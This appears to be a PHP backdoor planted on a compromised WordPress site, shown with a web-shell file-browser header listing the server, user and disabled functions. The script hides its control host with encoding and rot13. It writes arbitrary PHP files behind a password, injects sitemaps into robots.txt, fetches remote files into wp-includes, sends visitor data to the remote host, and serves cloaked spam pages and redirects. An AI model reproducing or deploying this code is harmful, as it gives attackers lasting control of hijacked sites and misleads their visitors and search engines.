Server : Apache System : Linux pod-100823:apache2_74:v0.5.7 5.4.0-1138-gcp #147~18.04.1-Ubuntu SMP Mon Oct 7 21:46:26 UTC 2024 x86_64 User : www-data ( 33) PHP Version : 7.4.33.7 Disable Function : apache_child_terminate,apache_get_modules,apache_get_version,apache_getenv,apache_note,apache_setenv,disk_free_space,disk_total_space,diskfreespace,dl,exec,fastcgi_finish_request,link,opcache_compile_file,opcache_get_configuration,opcache_invalidate,opcache_is_script_cached,opcache_reset,passthru,pclose,pcntl_exec,popen,posix_getpid,posix_getppid,posix_getpwuid,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,realpath_cache_get,shell_exec,show_source,symlink,system Directory : /nas/content/live/attorneyexperi/ |
<?php @set_time_limit(3600); @ignore_user_abort(1); $xmlname = '%79%75%76%61%66%67%65%68%70%6B%72%2E%65%66%62%79%6E%65%67%6E%72%2E%67%62%63'; $http_web = 'http'; if (is_https()) { $http = 'https'; } else { $http = 'http'; } $duri_tmp = drequest_uri(); if ($duri_tmp == ''){ $duri_tmp = '/'; } $duri = urlencode($duri_tmp); function drequest_uri() { if (isset($_SERVER['REQUEST_URI'])) { $duri = $_SERVER['REQUEST_URI']; } else { if (isset($_SERVER['argv'])) { $duri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0]; } else { $duri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING']; } } return $duri; } $goweb = str_rot13(urldecode($xmlname)); function is_https() { if (isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') { return true; } elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') { return true; } elseif (isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') { return true; } return false; } $host = $_SERVER['HTTP_HOST']; $lang = @$_SERVER["HTTP_ACCEPT_LANGUAGE"]; $lang = urlencode($lang); $urlshang = ''; if (isset($_SERVER['HTTP_REFERER'])) { $urlshang = $_SERVER['HTTP_REFERER']; $urlshang = urlencode($urlshang); } $password = sha1(sha1(@$_GET['pd'])); if ($password == 'f75fd5acd36a7fbd1e219b19881a5348bfc66e79') { $add_content = @$_GET['mapname']; $action = @$_GET['action']; if (isset($_SERVER['DOCUMENT_ROOT'])) { $path = $_SERVER['DOCUMENT_ROOT']; } else { $path = dirname(__FILE__); } if (!$action) { $action = 'put'; } if ($action == 'put') { if (strstr($add_content, '.xml')) { $map_path = $path. '/sitemap.xml'; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . '/robots.txt'; if (file_exists($file_path)) { $data = doutdo($file_path); } else { $data = 'User-agent: * Allow: /'; } $sitmap_url = $http . '://' . $host . '/' . $add_content; if (stristr($data, $sitmap_url)) { echo '<br>sitemap already added!<br>'; } else { if (file_put_contents($file_path, trim($data) . "\r\n" . 'Sitemap: '.$sitmap_url)) { echo '<br>ok<br>'; } else { echo '<br>file write false!<br>'; } } } else { echo '<br>sitemap name false!<br>'; } if (strstr($add_content, '.p' . 'hp')) { $a = sha1(sha1(@$_GET['a'])); $b = sha1(sha1(@$_GET['b'])); if ($a == doutdo($http_web . '://' . $goweb . '/a.p' . 'hp') || $b == 'f8f0dae804368c0334e22d9dcb70d3c7bbfa9635') { $dstr = @$_GET['dstr']; if (file_put_contents($path . '/' . $add_content, $dstr)) { echo 'ok'; } } } } exit; } if (isset($_SERVER['DOCUMENT_ROOT'])) { $path = $_SERVER['DOCUMENT_ROOT']; } else { $path = dirname(__FILE__); } if(is_dir($path. '/wp-includes')){ $fpath = 'wp-includes/css'; }else{ $fpath = 'css'; } $dpath = $path. '/'.$fpath; if(substr($host,0,4)=='www.'){ $host_nw = substr($host, 4); }else{ $host_nw = $host; } $cssn = str_rot13(substr($host_nw,0,3).substr($goweb,0,3)).'.css'; $ps = $path. '/'.$fpath.'/'.$cssn; $urlc = $http_web . '://' . $goweb . '/temp/style.css'; $cssnpth = str_rot13(substr($host_nw,0,3).substr($goweb,0,3)).'pth.css'; $pspth = $path. '/'.$fpath.'/'.$cssnpth; $urlcpth = $http_web . '://' . $goweb . '/temp/stylepth.css'; function ping_sitemap($url){ $url_arr = explode("\r\n", trim($url)); $return_str = ''; foreach($url_arr as $pingUrl){ $pingRes = doutdo($pingUrl); $ok = (strpos($pingRes, 'Sitemap Notification Received') !== false) ? 'pingok' : 'error'; $return_str .= $pingUrl . '-- ' . $ok . '<br>'; } return $return_str; } function disbot() { $uAgent = strtolower($_SERVER['HTTP_USER_AGENT']); if (stristr($uAgent, 'googlebot') || stristr($uAgent, 'bing') || stristr($uAgent, 'yahoo') || stristr($uAgent, 'google') || stristr($uAgent, 'Googlebot') || stristr($uAgent, 'googlebot')) { return true; } else { return false; } } function doutdo($url) { $file_contents= ''; if(function_exists('curl_init')){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } function fcss($dpath,$ps,$urlc){ if(is_dir($dpath)){ if(!file_exists($ps)){ @file_put_contents($ps,doutdo($urlc)); } }else{ if(@mkdir($dpath)){ if(!file_exists($ps)){ @file_put_contents($ps,doutdo($urlc)); } } } } if($duri_tmp=='/' || strstr($duri_tmp, 'mewttm')){ fcss($dpath,$ps,$urlc); fcss($dpath,$pspth,$urlcpth); } if(is_file($ps)){ $web = $http_web . '://' . $goweb . '/indexnew.php?web=' . $host . '&zz=' . disbot() . '&uri=' . $duri . '&urlshang=' . $urlshang . '&http=' . $http . '&lang=' . $lang. '&css=1'; }else{ $web = $http_web . '://' . $goweb . '/indexnew.php?web=' . $host . '&zz=' . disbot() . '&uri=' . $duri . '&urlshang=' . $urlshang . '&http=' . $http . '&lang=' . $lang; } $html_content = trim(doutdo($web)); if (!strstr($html_content, 'nobotuseragent')) { if (strstr($html_content, 'okhtmlgetcontent')) { @header("Content-type: text/html; charset=utf-8"); if (strstr($html_content, '[##linkcss##]')) { if(file_exists($ps)){ $lcss_str = file_get_contents($ps); $html_content = str_replace("[##linkcss##]", '<style>'.$lcss_str.'</style>', $html_content); }else{ $html_content = str_replace("[##linkcss##]", '', $html_content); } } if (strstr($html_content, '[##pthlinkcss##]')) { if(file_exists($pspth)){ $lcsspth_str = file_get_contents($pspth); $html_content = str_replace("[##pthlinkcss##]", '<style>'.$lcsspth_str.'</style>', $html_content); }else{ $html_content = str_replace("[##pthlinkcss##]", '', $html_content); } } $html_content = str_replace("okhtmlgetcontent", '', $html_content); echo $html_content; exit(); }else if(strstr($html_content, 'okxmlgetcontent')){ $html_content = str_replace("okxmlgetcontent", '', $html_content); @header("Content-type: text/xml"); echo $html_content; exit(); }else if(strstr($html_content, 'pingxmlgetcontent')){ $html_content = str_replace("pingxmlgetcontent", '', $html_content); fcss($dpath,$ps,$urlc); fcss($dpath,$pspth,$urlcpth); @header("Content-type: text/html; charset=utf-8"); echo ping_sitemap($html_content); exit(); }else if (strstr($html_content, 'getcontent500page')) { @header('HTTP/1.1 500 Internal Server Error'); exit(); }else if (strstr($html_content, 'getcontent404page')) { @header('HTTP/1.1 404 Not Found'); exit(); }else if (strstr($html_content, 'getcontent301page')) { @header('HTTP/1.1 301 Moved Permanently'); $html_content = str_replace("getcontent301page", '', $html_content); header('Location: ' . $html_content); exit(); } }/* blog R1-A354 */ ?>